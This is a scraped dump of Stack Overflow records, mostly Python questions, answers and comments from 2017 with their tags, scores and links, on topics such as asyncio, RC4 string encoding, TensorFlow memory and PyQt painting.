'output':pd.Series([0.528,0.512,0.51,0.448,0.62,0.649,0.601,0.564,0.541,0.515,0.502,0.522,0.57,0.638,0.6…
upvote count: 2
downvote count: 0
answer count: 1
tagged with: pulp
has title: Python PuLP "if" complies only with first condition.
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47066360
tagged with: if-statement
type: UnansweredQuestion
tagged with: python
score: 2

network-programming
tag name: network-programming
tags question: http://stackoverflow.com/q/47032456
tags question: http://stackoverflow.com/q/47035148
tags question: http://stackoverflow.com/q/47014224
tags question: http://stackoverflow.com/q/46997051
tags question: http://stackoverflow.com/q/47034219
tags question: http://stackoverflow.com/q/46932654
tags question: http://stackoverflow.com/q/47025592
type: Tag
tags question: http://stackoverflow.com/q/47003908
tags question: http://stackoverflow.com/q/46963818

http://stackoverflow.com/comment/80949113
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47001243
type: AnswerComment
has text: I did a groupby based on 2 columns and did the count on a third column and saved it in a serie, I wanted to add a new column into the starting df with the results from the serie

http://stackoverflow.com/q/47006713
tagged with: asyncsocket
has title: Python asyncio event loop. Run loop forever after completing an async task
tagged with: python
score: 4
upvote count: 4
has answer: http://stackoverflow.com/a/47006946
type: AnsweredQuestion
answer count: 2
tagged with: python-asyncio
downvote count: 0
possible better answer: http://stackoverflow.com/a/47006946
linked to: http://stackoverflow.com/q/36342899
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47009122
has body: Well I'm new to async in python. I'm creating a server using the call asyncio.start_server, the problem is that I'm running the same loop twice, the first time to create/start the server calling the loop.run_until_complete, and after that loop.run_forever. Here the code I use. if __name__ == '__main__': loop = asyncio.get_event_loop() sv_wrapper = ServerWrapper( host='localhost', port=5003 ) loop.run_until_complete(sv_wrapper.create()) print(repr(sv_wrapper.server)) loop.run_forever() (Full code example) Honestly I do not get the last call to loop.run_forever(), does de created server with asyncio.start_server run on the same event loop that executes the call, or a new event loop is created internally? If a new event loop is created internally, I do not need the call to run forever, for example just keeping the process running could be enough (and of course having a reference to the created Server). I do not know if this have sense at all, but if the server is a loop itself (manage in/out coming connections as future tasks) Is it possible to push tasks with loop.create_task? I did not come with a specific problem and sorry about that. I come from a nodejs background and I thought it would be easier to get async in python, thanks for your help, and any extras will be well received!
accepted answer: http://stackoverflow.com/a/47009122

http://stackoverflow.com/comment/81072045
has text: @SiKing, can help with the line to scroll to the top. driver.execute_script("window.scrollTo(0, document.body.scrollHeight);") The above line am using to scroll to the bottom
comment on: http://stackoverflow.com/q/47059040
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46920490
tagged with: ubuntu
has title: Sklearn Installation : Trying to acquire the GIL while it is already held
score: 1
tagged with: cython
has comment: http://stackoverflow.com/comment/80855340
favorite count: 0
type: Question
answer count: 0
has body: I am getting the following error when trying to install scikit-learn from the github page after running the command sudo python setup.py install Partial import of sklearn during the build process. blas_opt_info: blas_mkl_info: libraries mkl_rt not found in ['/usr/local/lib', '/usr/lib', '/usr/lib/x86_64-linux-gnu'] NOT AVAILABLE blis_info: libraries blis not found in ['/usr/local/lib', '/usr/lib', '/usr/lib/x86_64-linux-gnu'] NOT AVAILABLE openblas_info: libraries openblas not found in ['/usr/local/lib', '/usr/lib', '/usr/lib/x86_64-linux-gnu'] NOT AVAILABLE atlas_3_10_blas_threads_info: Setting PTATLAS=ATLAS libraries tatlas not found in ['/usr/local/lib', '/usr/lib/atlas-base', '/usr/lib', '/usr/lib/x86_64-linux-gnu'] NOT AVAILABLE atlas_3_10_blas_info: libraries satlas not found in ['/usr/local/lib', '/usr/lib/atlas-base', '/usr/lib', '/usr/lib/x86_64-linux-gnu'] NOT AVAILABLE atlas_blas_threads_info: Setting PTATLAS=ATLAS libraries ptf77blas,ptcblas,atlas not found in ['/usr/local/lib', '/usr/lib/atlas-base', '/usr/lib', '/usr/lib/x86_64-linux-gnu'] NOT AVAILABLE atlas_blas_info: customize Gnu95FCompiler Found executable /usr/bin/gfortran customize Gnu95FCompiler customize Gnu95FCompiler using config compiling '_configtest.c': /* This file is generated from numpy/distutils/system_info.py */ void ATL_buildinfo(void); int main(void) { ATL_buildinfo(); return 0; } C compiler: x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-security -fPIC compile options: '-c' x86_64-linux-gnu-gcc: _configtest.c x86_64-linux-gnu-gcc -pthread _configtest.o -L/usr/lib/atlas-base -lf77blas -lcblas -latlas -o _configtest ATLAS version 3.10.2 built by buildd on Mon Nov 23 23:12:07 UTC 2015: UNAME : Linux lgw01-49 3.19.0-33-generic #38 14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux INSTFLG : -1 0 -a 1 -l 1 ARCHDEFS : -DATL_…
has comment: http://stackoverflow.com/comment/80802711
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: scikit-learn
tagged with: python

http://stackoverflow.com/q/46983072
type: Question
has comment: http://stackoverflow.com/comment/80934921
has comment: http://stackoverflow.com/comment/80913796
has comment: http://stackoverflow.com/comment/80914544
has answer: http://stackoverflow.com/a/46994278
has comment: http://stackoverflow.com/comment/80914487
type: UnansweredQuestion
tagged with: encryption
has comment: http://stackoverflow.com/comment/80931985
tagged with: python
has title: Python 2.x and 3.x RC4 encryption
has comment: http://stackoverflow.com/comment/80914148
has body: I'm trying to implement RC4 encryption in Python 2.x and 3.x, but the following code outputs different encrypted strings based on the version of Python running. def crypt(key, data): S = list(range(256)) j = 0 for i in list(range(256)): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] j = 0 y = 0 out = [] for char in data: j = (j + 1) % 256 y = (y + S[j]) % 256 S[j], S[y] = S[y], S[j] out.append(chr(ord(char) ^ S[(S[j] + S[y]) % 256])) return ''.join(out) if __name__ == '__main__': key = '123456' # proof of concept plain = 'this is test data' # proof of concept encrypted = crypt(key, plain) print('Encrypted: \n' + encrypted) Running with Python 2.x outputs: Encrypted: t?Zf? RQ??Z ?? Running with Python 3.x outputs: Encrypted: tZf¼ RQÂÙZ º I first thought this was an issue with encoding and played around with that (ASCII and UTF-8), but no dice. Anyone have any ideas why this is outputting different data with the same key and plaintext? The goal is to have a string that I can pass around. Any help is much appreciated!
score: 0
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/95319529
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47063184
score: 0
has text: Thanks for the answer. But I'm still so confused with parameter `iterator` in `read_csv()`. Does setting the `iterator=True` make any difference ? Thanks

http://stackoverflow.com/comment/80881168
type: Comment
has text: Do you mean the develop machine?
type: AnswerComment
comment on: http://stackoverflow.com/a/46955683
score: 0

http://stackoverflow.com/comment/80880495
type: QuestionComment
has text: Okay. You could just replace the last three lines with this: `arr = np.vstack(zip((p.x for p in points), (p.y for p in points)))`
comment on: http://stackoverflow.com/q/46966435
score: 1
type: Comment

http://stackoverflow.com/comment/80952987
has text: it returns > File "/usr/lib/python2.7/locale.py", line 581, in setlocale return _setlocale(category, locale) Error: unsupported locale setting
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47002511

http://stackoverflow.com/a/46944241
has comment: http://stackoverflow.com/comment/137281146
has comment: http://stackoverflow.com/comment/118212968
has comment: http://stackoverflow.com/comment/114975666
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/107089351
upvote count: 66
score: 63
has body: The builtin completion relies on the GNU readline library. You may be able to get completion working by installing the python version (pyreadline) of this package on Windows. python -m pip install pyreadline Edit: For more recent Python releases, see Craig McQueen's comment below. ie. pyreadline3 instead of pyreadline
accepted answer of: http://stackoverflow.com/q/46944162
has comment: http://stackoverflow.com/comment/99727397
type: Answer
downvote count: 3
answers question: http://stackoverflow.com/q/46944162

http://stackoverflow.com/comment/80808950
score: 0
has text: @JitendraAswani, glad it helps :)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46930303

http://stackoverflow.com/comment/80957558
has text: Possible duplicate of [Dynamic module import in Python](https://stackoverflow.com/questions/301134/dynamic-module-import-in-python)
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47005488

http://stackoverflow.com/q/46952766
tagged with: tensorflow
type: Question
linked to: http://stackoverflow.com/q/45375031
has comment: http://stackoverflow.com/comment/80861724
has comment: http://stackoverflow.com/comment/80882941
type: UnansweredQuestion
tagged with: tensorboard
tagged with: python
has comment: http://stackoverflow.com/comment/80866506
has title: gcloud local prediction
has body: I trained a Pet dataset onto Google cloud, downloaded the trained model to local PC, using gcloud. Task: To classify test set, locally with the trained model A) If I use gcloud like $ gcloud ml-engine local predict --model-dir=saved_model/ --json-instances=inputs.json Error: prediction_lib.PredictionError: (4, "Exception during running the graph: invalid literal for long() with base 10: '\xff\xd8\xff\xe0'")
score: 0
tagged with: google-cloud-platform
has comment: http://stackoverflow.com/comment/80882915
answer count: 1
has answer: http://stackoverflow.com/a/46978685
tagged with: google-cloud-ml-engine

http://stackoverflow.com/comment/97866319
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/54775049
score: 0
has text: @Tweakimp If you always want to call it 10k times it makes certainly sense and using a decorator for that is not unusual. But that's a very specific usecase then where you extend the basic idea here of just finding a "better" for-loop.

http://stackoverflow.com/q/47055888
has answer: http://stackoverflow.com/a/47056343
has answer: http://stackoverflow.com/a/47073997
answer count: 2
downvote count: 0
favorite count: 0
has title: Run a Python script in data-analyses tool QLikView
type: Question
has body: Now I am learning to analyse data in the BI tool QLikView. I tried to run a Python script while executing the QLikView script. A part of my QLikView script where the Python script is called: DatumRange: // maak tijdelijke tabellen aan met de datum range van de begin en eind datum per patiënt LOAD DatumNum Resident Kalender; BeginEindVerblijf: LOAD VerblijfStartNum, VerblijfEindNum Resident Patiënt; // sla de tabellen op in CSV bestanden om met behulp van een Python script om te zetten naar bezetting STORE DatumRange INTO [C:\Users\masc\Desktop\Data-analyse voor U-Center in QLikView\Zelfgemaakte dummy dataset U-Center\Bezetting berekenen in Python\NumDateRange.csv] (txt); STORE BeginEindVerblijf INTO [C:\Users\masc\Desktop\Data-analyse voor U-Center in QLikView\Zelfgemaakte dummy dataset U-Center\Bezetting berekenen in Python\VerblijfStart_VerblijfEind.csv] (txt); DROP Table DatumRange; DROP Table BeginEindVerblijf; EXECUTE python3 BerekenBezetting.py // voer Python script uit om de bezetting te bepalen Directory; LOAD DatumNum, Date(DatumNum, 'YYYYMMDD') as JaarMaandDag, AantalPatiënten FROM [Bezetting berekenen in Python\Bezetting.csv] (txt, codepage is 1252, embedded labels, delimiter is ',', msq); When executing the script I received the error: General error EXECUTE python3 BerekenBezetting.py Directory In my QLikView log file I get the error: 2017-11-01 14:16:02 0303 STORE DatumRange INTO [C:\Users\masc\Desktop\Data-analyse voor U-Center in QLikView\Zelfgemaakte dummy dataset U-Center\Bezetting berekenen in Python\NumDateRange.csv] (txt) 2017-11-01 14:16:02 0304 STORE BeginEindVerblijf INTO [C:\Users\masc\Desktop\Data-analyse voor U-Center in QLikView\Zelfgemaakte dummy dataset U-Center\Bezetting berekenen in Python\VerblijfStart_VerblijfEind.csv] (txt) 2017-11-01 14:16:02 0306 DROP Table DatumRange 2017-11-01 14:16:02 0307 DROP Table BeginEindVerblijf 2017-11-01 14:16:02 0309 EXECUTE python3 BerekenBezetting.py 2017-11-01 14:16:02 0310 2017-11-01 14:16:02 0311 …
upvote count: 2
tagged with: python
tagged with: qlikview
possible better answer: http://stackoverflow.com/a/47056343
accepted answer: http://stackoverflow.com/a/47073997
score: 2
type: AnsweredQuestion

http://stackoverflow.com/q/46939410
linked to: http://stackoverflow.com/q/3768895
tagged with: python
has comment: http://stackoverflow.com/comment/80827496
score: 0
has comment: http://stackoverflow.com/comment/80828788
has comment: http://stackoverflow.com/comment/80830449
type: Question
duplicate of: http://stackoverflow.com/q/3768895
tagged with: serialization
has title: Python - loading a JSON file with non supported objects and types
has body: I've got a log file as JSON that includes unsupported types, even though the intention was apparently to have something human editable and I wish this log file was never produced, what would be the appropriate way? The Log file has entry's as following, basicly non string,dict,tuple,..: {"a":float(9)} the only way I've found is using the eval which does the job but there must be a better way? Ast.literal_eval won't work as it will fail with "malformed string"
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/46934526
downvote count: 0
tagged with: pyqt
upvote count: 7
score: 7
has body: I am trying to learn PyQt vector painting. Currently I am stuck in trying to pass information to paintEvent() method which I guess, should call other methods: I am trying to paint different numbers to a fundamental block (here drawFundBlock() method, which should draw some lines). The code is trying to check if right arrow is pressed-> drawFundamental block and if number is pressed (now trying to simply draw "5"), it will draw that number on a certain area on that fundamental block. But I can't seem to get the QPainter to work. It seems it's calling the paintEvent() override method twice now (why?). Some people have suggested the update() method, but I have no idea how to still pass any arguments to paintEvent(), which should determine whether to draw "fundblock" or "number". Now the code uses update() for demonstration but this simply moves the lines - But the already Added Lines should remain! Any help? # Test QPainter etc. from PyQt5.QtWidgets import QWidget, QApplication from PyQt5.QtGui import QPainter, QPen, QColor, QFont from PyQt5.QtCore import Qt, QPoint, pyqtSignal, QRect import sys class Example(QWidget): paintTrigger = pyqtSignal() def __init__(self): super().__init__() self.initUI() self.ydist = 15 self.eveType = "drawBlock" self.currentRegion = QRect(50,50,50,80) #self.paintTrigger[self.eveType].connect(lambda:self.paintEvent()) self.x0=5 self.x1=25 self.y0=5 self.y1=25 def initUI(self): self.setGeometry(300,300,280,270) self.setWindowTitle('Painter training') self.show() # How to pass info here, which type of drawing should be done (block or number)? def paintEvent(self,event): qp = QPainter(self) qp.begin(self) self.drawFundBlock(qp) qp.end() def drawFundBlock(self,qp): pen = QPen(Qt.black, 2, Qt.SolidLine) pen.setStyle(Qt.DashLine) qp.setPen(pen) for i in range(1,10): #qp.drawLine(0,i*self.ydist,40,i*self.ydist) qp.drawLine(self.x0,i*self.y0,self.x1,self.y0*i) #notePoint=QPoint(200,200) #qp.drawText(notePoint,"5") def drawNumber(self,qp,notePoint): …
answer count: 1
tagged with: pyqt5
has answer: http://stackoverflow.com/a/46935980
accepted answer: http://stackoverflow.com/a/46935980
favorite count: 0
type: Question
tagged with: python
tagged with: qpainter
has comment: http://stackoverflow.com/comment/80816313
type: AnsweredQuestion
tagged with: qwidget
has title: PyQt5 triggering a paintEvent() with keyPressEvent()

http://stackoverflow.com/comment/80869786
type: Comment
has text: There is no conversion here, the 2 values are exactly the same to Python, so you are asking for how to do formatting.
comment on: http://stackoverflow.com/q/46957416
score: 1
type: QuestionComment

http://stackoverflow.com/comment/83412016
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46968100
has text: `from pyzk import ZK ; my_ZK = ZK(IP,PORT,timeout)` . Timeout default value is `60` change to big value, another issue is `permission` or `additional module`
score: 0

http://stackoverflow.com/a/47004694
has comment: http://stackoverflow.com/comment/80983211
has comment: http://stackoverflow.com/comment/80977790
has body: Numba seems to lack support for nested arrays. Have managed to circumvent the issue in the following code. jit_EM_field() now returns an array of length 6 instead of 2 nested arrays of length 3 which you can see as @jit( float64[:] in the jit decorator. Also removed a redundant else clause. import numpy as np from numba import jit, float64 c = 3*10**8 epsilon = 8.854187817 * 10**(-12) mu = 4*np.pi *10**(-7) @jit( nopython=True) def cross(vec1, vec2): result = np.array([0.,0.,0.]) a1, a2, a3 = vec1[0],vec1[1], vec1[2] b1, b2, b3 = vec2[0], vec2[1], vec2[2] result[0] = a2 * b3 - a3 * b2 result[1] = a3 * b1 - a1 * b3 result[2] = a1 * b2 - a2 * b1 return result @jit( float64[:](float64[:],float64,float64,float64[:],float64[:],float64[:]), nopython=True) def jit_EM_field(position,length,ladung,velocity,acceleration,R): #using solutions to lienard wiechert potential EM_field = np.array([0.,0.,0.,0.,0.,0.]) radius = np.linalg.norm(R - position) if radius != 0: unitradius = (R - position)/radius if np.dot(unitradius, velocity) != 1: charge = ladung / ( (1 - np.dot(unitradius, velocity)/c)** 3) if radius &lt; length: radius = length radius2 = radius ** 2 velocity_in_c = velocity/c oneMinusV2 = 1 - np.dot(velocity_in_c, velocity_in_c) uMinusV = unitradius - velocity_in_c aCrossUmV = cross(uMinusV, acceleration) Eleft = (oneMinusV2 * (unitradius - velocity_in_c)) / radius2 Eright = cross(unitradius, aCrossUmV) / (radius*c**2) E = (charge/(4*np.pi*epsilon)) * (Eleft - Eright) B = cross(unitradius/c, ((mu*epsilon*charge*c**2) * (Eleft - Eright))) EM_field = np.array([E[0],E[1],E[2],B[0],B[1],B[2]]) return EM_field em_field = jit_EM_field(np.array([0.,1.,0.]),1.,0.1,np.array([0.,1.,0.]),np.array([0.,1.,0.]),np.array([7.2,5.6,0.1])) em_field_zero = jit_EM_field(np.array([0.,1.,0.]),1.,0.1,np.array([0.,1.,0.]),np.array([0.,1.,0.]),np.array([0.,1.,0.])) import pprint as pp pp.pprint(em_field) pp.pprint(em_field_zero)
upvote count: 1
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47002360
answers question: http://stackoverflow.com/q/47002360
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/q/46960427
linked to: http://stackoverflow.com/q/63411142
has comment: http://stackoverflow.com/comment/113449920
downvote count: 0
has answer: http://stackoverflow.com/a/68793701
has title: Does tensorflow or python have memory cleanup issues when using multiple models in loop?
tagged with: memory-leaks
has body: I am working on a tensorflow model which takes pretty much RAM. It is executed iteratively to process given tasks. However, with increasing time the whole process starts consuming more and more RAM although it should clean it up. This sounds like as if I'd keep data of one graph over the iterations, but I am almost sure that the graphs are cleanly separated. Problem I reduced the code to the following: import tensorflow as tf import numpy as np reps = 30 for i in range(reps): with tf.Graph().as_default() as graph: with tf.Session(graph=graph) as sess: tf.constant(np.random.random((1000,1000,200,1))) I have 32GB RAM available, working on a ubuntu 17.04 with CPU Tensorflow 1.3. This will give following error message after about the 25th or 27th iteration: terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc Giving the process some time after each iteration results in no improvement: import tensorflow as tf import numpy as np import time reps = 30 for i in range(reps): with tf.Graph().as_default() as graph: with tf.Session(graph=graph) as sess: tf.constant(np.random.random((1000,1000,200,1))) time.sleep(1) However, it works if I force garbage collection invocation after each repetition: import tensorflow as tf import numpy as np import gc reps = 30 for i in range(reps): with tf.Graph().as_default() as graph: with tf.Session(graph=graph) as sess: tf.constant(np.random.random((1000,1000,200,1))) gc.collect() Question Now I wonder why I need to force garbage collection to run even though tensorflow should have closed the session and de-referenced the graph object. Back to my original model I am not sure, yet, if the gc invocation actually helps. The memory usage grows pretty intense, especially when I am about to persist the model to disk. Are there any best practices on how to iteratively work with large models? Is this an actual memory issue? Thanks for any insights.
tagged with: tensorflow
score: 12
type: Question
upvote count: 12
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/53687165
answer count: 1
tagged with: garbage-collection
tagged with: python
favorite count: 0

http://stackoverflow.com/a/47027600
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47025750
has comment: http://stackoverflow.com/comment/81005467
has comment: http://stackoverflow.com/comment/81006179
type: Answer
has body: You can provide low and high to the layer with Lambda(..., arguments={'low': low, 'high': high}). From the documentation of Lambda: arguments: optional dictionary of keyword arguments to be passed to the function. For example, clipped_out_position = Lambda(lambda x, low, high: tf.clip_by_value(x, low, high), arguments={'low': low, 'high': high})(out_position) EDIT: Here's a more complete sample on testing this layer: x = Input(shape=(100,)) out_duration = Dense(90)(x) out_position = Dense(90)(x) out_duration = Reshape((30, 3))(out_duration) out_position = Reshape((30, 3))(out_position) low = tf.constant(np.random.rand(30, 3).astype('float32')) high = tf.constant(1 + np.random.rand(30, 3).astype('float32')) clipped_out_position = Lambda(lambda x, low, high: tf.clip_by_value(x, low, high), arguments={'low': low, 'high': high})(out_position) model = Model(inputs=x, outputs=[out_duration, clipped_out_position]) model.compile(loss='mse', optimizer='adam') model.fit(np.random.rand(5000, 100), [np.random.rand(5000, 30, 3), np.random.rand(5000, 30, 3)])
has comment: http://stackoverflow.com/comment/81036918
has comment: http://stackoverflow.com/comment/81045521
has comment: http://stackoverflow.com/comment/81006447
accepted answer of: http://stackoverflow.com/q/47025750

http://stackoverflow.com/comment/80795211
has text: It is still incomplete, and to complete it in the way you are going, I am afraid it is going to be one hell of long regex.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46924086

http://stackoverflow.com/comment/80802574
type: AnswerComment
has text: I'm using pytest, not the builtin unittest package. That's why I'm not using assertListEqual..
comment on: http://stackoverflow.com/a/46914765
type: Comment
score: 2

http://stackoverflow.com/q/47007930
score: 0
tagged with: list
tagged with: types
has body: so I have a function which takes a list of lists and changes the type of each value depending on what the value represents: def change_list(x): """ Convert every str in x to an int if it represents a integer, a float if it represents a decimal number, a bool if it is True/False, and None if it is either 'null' or an empty str &gt;&gt;&gt; x = [['xy3'], ['-456'], ['True', '4.5']] &gt;&gt;&gt; change_list(x) &gt;&gt;&gt; x [['xy3' , -456], [True], [4.5]] """ for ch in x: for c in ch: if c.isdigit() == True: c = int(c) I've only posted part of the code, I feel as though once I can get that sorted I can apply a similar method in other if/elif/else to be able to get it all straight. My problem is when I apply this sort of method and then call x again the list is still returned as strings instead of ints or floats or bools. ie if I called x after executing this function I would get: x = [['xy3'], ['-456'], ['True', '4.5']] instead of what is in the example code in the function. I'm not sure what's going wrong, any advice would be helpful.
type: Question
has comment: http://stackoverflow.com/comment/80962506
has answer: http://stackoverflow.com/a/47008002
has answer: http://stackoverflow.com/a/47007968
has title: Changing types within lists of lists (Python)
has answer: http://stackoverflow.com/a/47008023
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47008136
has answer: http://stackoverflow.com/a/47008139
tagged with: python
answer count: 6
has answer: http://stackoverflow.com/a/47007978

doctest
type: Tag
tag name: doctest
tags question: http://stackoverflow.com/q/46962007
tags question: http://stackoverflow.com/q/46945885

http://stackoverflow.com/a/47063904
has body: You need to comment or disable 'django.middleware.locale.LocaleMiddleware', in settings.py. This middleware handles the choice of the language from the request parameters. Translation documentation : https://docs.djangoproject.com/en/1.11/topics/i18n/translation/#how-django-discovers-language-preference Middleware documentation : https://docs.djangoproject.com/en/1.11/ref/middleware/#module-django.middleware.locale
answers question: http://stackoverflow.com/q/47063007
type: AcceptedAnswer
upvote count: 10
downvote count: 0
score: 10
type: Answer
accepted answer of: http://stackoverflow.com/q/47063007

http://stackoverflow.com/comment/80918193
has text: You also need to provide samples of inputs and outputs
comment on: http://stackoverflow.com/q/46985420
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/46944130
has title: python extract data from excel spreadsheet to json form
tagged with: http://stackoverflow.com/tag/json
has body: I would like to get Python to extract some values from an excel spreadsheet and send to webpage to be processed by javascript. not sure how to go about this the best way. i thought of creating a dict object and return this to js in the json form. basically the values extracted from the excel spreadsheet will be as follow Design Lump Sum: design_cells[0].value, design_cells[1].value design_cells[0].value, design_cells[1].value design_cells[0].value, design_cells[1].value design_cells[0].value, design_cells[1].value design_cells[0].value, design_cells[1].value ... .. . Capex Lump Sum: Capex_cells[0].value, Capex_cells[1].value Capex_cells[0].value, Capex_cells[1].value Capex_cells[0].value, Capex_cells[1].value Capex_cells[0].value, Capex_cells[1].value Capex_cells[0].value, Capex_cells[1].value ... .. . any help to have python create a dict or json object from the above. see my extraction code below which iterates over the row values, import xlrd import sys reload(sys) sys.setdefaultencoding('utf8') import json book = xlrd.open_workbook("Glebe TE - Master Invoicing.xlsm") first_sheet = book.sheet_by_index(1) for i in range(12,19): design_cells = first_sheet.row_slice(rowx=i, start_colx=2, end_colx=4) if str(design_cells[0].value) and str(design_cells[1].value): print str(design_cells[0].value) print str(design_cells[1].value) for i in range(22,155): capex_cells = first_sheet.row_slice(rowx=i, start_colx=2, end_colx=4) if str(capex_cells[0].value) and str(capex_cells[1].value): print str(capex_cells[0].value) print str(capex_cells[1].value) for i in range(157,175): Opex_cells = first_sheet.row_slice(rowx=i, start_colx=2, end_colx=4) if str(Opex_cells[0].value) and str(Opex_cells[1].value): j = j + 1 print str(Opex_cells[0].value) print str(Opex_cells[1].value)
type: Question
type: UnansweredQuestion
answer count: 1
tagged with: javascript
tagged with: python
tagged with: excel
has answer: http://stackoverflow.com/a/46944203
score: 0

http://stackoverflow.com/comment/80918667
score: 2
comment on: http://stackoverflow.com/q/46983762
has text: Possible duplicate of [How can I select Pandas.DataFrame by elements' length](https://stackoverflow.com/q/32440798/1278112)
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47026900
tagged with: cython
linked to: http://stackoverflow.com/q/58155766
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81001134
has comment: http://stackoverflow.com/comment/81001082
has body: Thank you all in advance. I am wondering what's the right way to #include all numpy headers and what's the right way to use Cython and C++ to parse numpy arrays. Below is attempt: // cpp_parser.h #ifndef _FUNC_H_ #define _FUNC_H_ #include &lt;Python.h&gt; #include &lt;numpy/arrayobject.h&gt; void parse_ndarray(PyObject *); #endif I know this might be wrong, I also tried other options but none of them works. // cpp_parser.cpp #include "cpp_parser.h" #include &lt;iostream&gt; using namespace std; void parse_ndarray(PyObject *obj) { if (PyArray_Check(obj)) { // this throws seg fault cout &lt;&lt; "PyArray_Check Passed" &lt;&lt; endl; } else { cout &lt;&lt; "PyArray_Check Failed" &lt;&lt; endl; } } The PyArray_Check routine throws Segmentation Fault. PyArray_CheckExact doesn't throw, but it is not what I wanted exactly. # parser.pxd cdef extern from "cpp_parser.h": cdef void parse_ndarray(object) and the implementation file is: # parser.pyx import numpy as np cimport numpy as np def py_parse_array(object x): assert isinstance(x, np.ndarray) parse_ndarray(x) The setup.py script is # setup.py from distutils.core import setup, Extension from Cython.Build import cythonize import numpy as np ext = Extension( name='parser', sources=['parser.pyx', 'cpp_parser.cpp'], language='c++', include_dirs=[np.get_include()], extra_compile_args=['-fPIC'], ) setup( name='parser', ext_modules=cythonize([ext]) ) And finally the test script: # run_test.py import numpy as np from parser import py_parse_array x = np.arange(10) py_parse_array(x) I have created a git repo with all the scripts above: https://github.com/giantwhale/study_cython_numpy/
has answer: http://stackoverflow.com/a/47027344
has answer: http://stackoverflow.com/a/47027598
tagged with: python
upvote count: 6
possible better answer: http://stackoverflow.com/a/47027344
tagged with: c++
tagged with: numpy
type: AnsweredQuestion
answer count: 2
accepted answer: http://stackoverflow.com/a/47027598
downvote count: 0
has title: PyArray_Check gives Segmentation Fault with Cython/C++
score: 6

http://stackoverflow.com/comment/80835394
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46941600
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/157521/discussion-between-shadowranger-and-ekhumoro).

http://stackoverflow.com/q/46981887
linked to: http://stackoverflow.com/q/741877
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/80911631
type: Question
tagged with: graph
tagged with: pie-chart
has title: Python matplotlib piechart avoid labels and values from previous piechart
answer count: 1
has body: I'm writing a script to generate multiple graphs using different csv files. When the second pie chart is created, it has the percentage values from the first pie chart. As shown in the below image: This is my code: ## Chart1 df = pd.read_csv('list1.csv') piechart = df.groupby('ABC')['Policy'].nunique() ax1 = plt.subplot(111, aspect='equal') piechart.plot(kind='pie', ax=ax1, autopct='%1.f%%', startangle=90, shadow=False, legend = False, fontsize=8, title="Policy Chart 1") plt.savefig('img1.png', dpi=100) #Chart2 df1 = pd.read_csv('list2.csv') piechart2 = df1.groupby('ABC')['Policy'].nunique() ax2 = plt.subplot(111, aspect='equal') piechart2.plot(kind='pie', ax=ax2, autopct='%1.f%%',startangle=90, shadow=False, legend = False, fontsize=8, title="Policy chart") plt.savefig('img2.png', dpi=100) Here the chart2 has both values and labels from chart1. How do I avoid this. Also, I have another bar graph saved as pic1 "plt.savefig("pic1", dpi= 100)", how do i save above img1.png and pic.png in one image. (Like Bar grapgh to the left and piechart to right in one picture). Thanks in advance!
linked to: http://stackoverflow.com/q/6282058
tagged with: python
has answer: http://stackoverflow.com/a/46982160
accepted answer: http://stackoverflow.com/a/46982160
type: AnsweredQuestion
score: 0
linked to: http://stackoverflow.com/q/1358977
tagged with: pandas

http://stackoverflow.com/q/46956058
downvote count: 5
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80859454
has answer: http://stackoverflow.com/a/46956310
has comment: http://stackoverflow.com/comment/80859505
has answer: http://stackoverflow.com/a/46956647
type: Question
score: -5
has comment: http://stackoverflow.com/comment/80859729
has answer: http://stackoverflow.com/a/46956147
has answer: http://stackoverflow.com/a/46956339
favorite count: 0
has comment: http://stackoverflow.com/comment/80859275
answer count: 4
has body: How to print a pyramid in python with 2 different symbols? For example, # $ $ # # # $ $ $ $ # # # # #
upvote count: 0
has title: Python pyramid with 2 different symbols

http://stackoverflow.com/q/47028093
has answer: http://stackoverflow.com/a/47103718
tagged with: python-3.x
answer count: 2
has comment: http://stackoverflow.com/comment/81003313
tagged with: spotipy
has comment: http://stackoverflow.com/comment/81003431
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/55856211
downvote count: 0
tagged with: python
